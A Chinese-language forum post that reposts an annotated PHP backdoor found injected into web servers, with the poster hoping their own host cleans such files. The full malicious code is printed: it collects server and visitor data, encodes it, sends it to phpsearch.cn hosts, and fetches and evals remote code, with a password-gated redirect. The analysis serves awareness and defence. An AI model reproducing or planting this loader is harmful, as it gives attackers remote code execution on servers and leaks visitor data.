找到了一段别的网站对这些代码作的注释。
出处参考: http://webmasterhotspot.com/index.php?showtopic=7792
看起来被提到的那家hosing服务商帮用户做了整个server的清除这种恶意文件处理,方便了用户 ... 希望我的服务商也可以
PHP 代碼:
<?
error_reporting(0); // Turns off error throwing
// Gathers tracking information
$a=(isset($_SERVER["HTTP_HOST"])?$_SERVER["HTTP_HOST"]:$HTTP_HOST);
$b=(isset($_SERVER["SERVER_NAME"])?$_SERVER["SERVER_NAME"]:$SERVER_NAME);
$c=(isset($_SERVER["REQUEST_URI"])?$_SERVER["REQUEST_URI"]:$REQUEST_URI);
$d=(isset($_SERVER["PHP_SELF"])?$_SERVER["PHP_SELF"]:$PHP_SELF);
$e=(isset($_SERVER["QUERY_STRING"])?$_SERVER["QUERY_STRING"]:$QUERY_STRING);
$f=(isset($_SERVER["HTTP_REFERER"])?$_SERVER["HTTP_REFERER"]:$HTTP_REFERER);
$g=(isset($_SERVER["HTTP_USER_AGENT"])?$_SERVER["HTTP_USER_AGENT"]:$HTTP_USER_AGENT);
$h=(isset($_SERVER["REMOTE_ADDR"])?$_SERVER["REMOTE_ADDR"]:$REMOTE_ADDR);
$i=(isset($_SERVER["SCRIPT_FILENAME"])?$_SERVER["SCRIPT_FILENAME"]:$SCRIPT_FILENAME);
$j=(isset($_SERVER["HTTP_ACCEPT_LANGUAGE"])?$_SERVER["HTTP_ACCEPT_LANGUAGE"]:$HTTP_ACCEPT_LANGUAGE);
// encodes tracking information for usage in a URL
$z="/?".base64_encode($a).".".base64_encode($b).".".base64_encode($c).".".base64_encode($d).".".base64_encode($e)."
.".base64_encode($f).".".base64_encode($g).".".base64_encode($h).".e.".base64_encode($i).".".base64_encode($j);
// sets $f to 'phpsearch.cn'
$f=base64_decode("cGhwc2VhcmNoLmNu");
// I haven't been able to decode this MD5, but it replaces $f with
// any given URL when given an unknown password with this MD5 signature.
if (basename($c)==basename($i)&&isset($_REQUEST["q"])&&md5($_REQUEST["q"])=="face2bea501b7adcd7c09b627f443523")
$f=$_REQUEST["id"];
// It tries to use includes to call
// http://ads.phpsearch.cn/[tracking information]
if((include(base64_decode("aHR0cDovL2Fkcy4=").$f.$z)));
// If the include didn't work,
// it tries to use file wrappers to call
// http://7.phpsearch.cn/[tracking information]
else if($c=file_get_contents(base64_decode("aHR0cDovLzcu").$f.$z))eval($c);
// If none of the the include and file wrappers work,
// it tries to use CURL to call
// http://71.phpsearch.cn/[tracking information]
else{$cu=curl_init(base64_decode("aHR0cDovLzcxLg==").$f.$z);
curl_setopt($cu,CURLOPT_RETURNTRANSFER,1);$o=curl_exec($cu);curl_close($cu);eval($o);};
// all these methods will execute the contents of the first successful request.
// currently, all this does is display a 404 page
?>